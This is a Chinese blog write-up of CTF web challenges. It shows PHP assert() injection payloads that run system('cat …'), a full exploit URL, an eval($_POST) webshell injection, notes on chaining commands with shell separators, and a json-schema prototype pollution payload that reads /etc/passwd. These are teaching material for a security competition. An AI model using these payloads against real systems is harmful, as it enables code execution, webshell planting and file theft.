绿城杯Web部分WP

本文最后更新于:2024年1月6日 晚上

ezphp

  • 收获:rce,代码执行

    • ⭕通过代码执行或命令执行写Shell:https://www.bilibili.com/read/cv11569998

    • https://blog.csdn.net/qq_46150940/article/details/110044575

  • 差不多原题:https://blog.csdn.net/About23/article/details/95075416 、https://www.jianshu.com/p/47bbfaf3f2d9

知识点

  • php运算符及优先级:https://www.php.net/manual/zh/language.operators.logical.php

  • bool or bool这样的语句中,如果前一个值为真后一个值就不会再判断了

  • assert assert ( mixed $assertion [, Throwable $exception ] ) : bool——— assert — 检查一个断言是否为 FALSE,如果是false,返回1,否则返回0

    • 如果参数是字符串,它将会被 assert() 当做 PHP 代码来执行
  • strpos 如果没找到 needle,将返回 false。

解题

  • assert($safe_check1) or die("no no no!");
    • 只有assert为真才不会die,assert参数为false才返回1。符合假定则就不会die
  • 所以只要闭合assert右括号,并注释掉die即可
    • assert(" strpos('pages/flag','..')||phpinfo();//.php ', '..') === false ")
  • 输入')||phpinfo();//,代码执行,显示phpinfo=》命令执行

解法1:在源码里!!php会被执行!

  • index.php跟pages文件夹在同一目录下,注意加上./!,下面的都可以!

    • ')||system('cat ./pages/flag.php');//

    • 1','1')||system('cat ./pages/flag.php');//

    • flag','.')||system('cat pages/flag.php');//

    • ')||eval("system('cat ./pages/flag.php');");//

    • ')||print_r(file_get_contents('./pages/flag.php'));//

  • url:view-source:http://e6e8c804-8ce5-4caa-9940-411be14f96fb.zzctf.dasctf.com/?link_page=1%27,%271%27)||system(%27cat%20./pages/flag.php%27);//

  • flag找到//DASCTF{c804c562fffd14c6ae757e07b30126ee}

解法2

也可用蚁剑?link_page=flag.php', '..') === true|eval($_POST['yy']);//,post传参yy=system('ls /');,密码yy

  • 在Linux上, ; 可以用 |、|| 代替

    • ;前面的执行完执行后面的

    • |是管道符,显示后面的执行结果

    • ||当前面的执行出错时执行后面的

  • 在Windows上,不能用 ; 可以用&、&&、|、||代替

    • &前面的语句为假则直接执行后面的

    • &&前面的语句为假则直接出错,后面的也不执行

    • |直接执行后面的语句

    • ||前面出错执行后面的

easyjava

  • wp:https://ha1c9on.top/2021/09/29/2021-lvcvheng-ezjava/

  • wp2:https://www.wolai.com/atao/i6PwXQdpbcwBeXvJVLrjMr

easycms

  • http://240ecfdd-1600-46bb-99cc-c5c21cc46f55.zzctf.dasctf.com/

  • wp

    • https://guokeya.github.io/post/8ZEuy4BXz/

Looking for treasure

  • 考点:源码审计、json-schema原型链污染

  • wp:https://blog.csdn.net/weixin_52091458/article/details/120560406

  • js知识点

    • let命令,用来声明局部变量,类似于var,但var是全局变量,let是花括号内局部变量

    • console.log(),输出括号里的东西

    • req.body是用在post请求当中得到请求体

    • lodash是java的原生库,里面有很多方法(函数)可以用

    • object.toString(),以字符串的形式返回对象内容

    • JSON.parse() 方法将数据转换为 JavaScript 对象。

    • Express中 res.json及res.send(),都是发送内容到http响应body里,但可能因类型不同导致Content-Type 不同

    • 获取url参数:/path/:id,参数在req.params.id中,/path?id=xx,参数在req.query.id中,:表示后面的是参数

    • 逻辑非运算符! >逻辑或运算符||,先非后或,或只要前面是true则不会执行后面

    • JSON Schema本身是是JSON数据的规范/模板,是一种数据结构

    • ⭕原型链污染

解题

  • fs.readFileSync()方法是fs模块的内置应用程序编程接口,用于读取文件并返回其内容。

    • 这里读取了p文件,如果能控制p的值就能实现文件读取。

      • lodash.isEqual(req.body, content),检查post的body是否与读取的文件内容相同,这个肯定是不相同的不用管它 ,所以p的内容最后会在报错信息的content里发出,以这种形式res.send({ "validator": valid, "content" : content, "log": "wrong content"})
    • p怎么来的,config.path给p赋值。所以得想办法控制path的值。

    • 一开始url无参数,!req.params.library为true,直接req.params.library = "json-schema";

    • 看到这个想到json-schema原型链污染

  • payload

    • {"$schema":{"type":"object","properties":{"proto":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}
      • default后面的字符串可控
    • DASCTF{5117143e660f592adc982dd96d2c3f17}

博客文章采用 CC BY-SA 4.0 协议 ,转载请注明出处,有疑问欢迎联系:)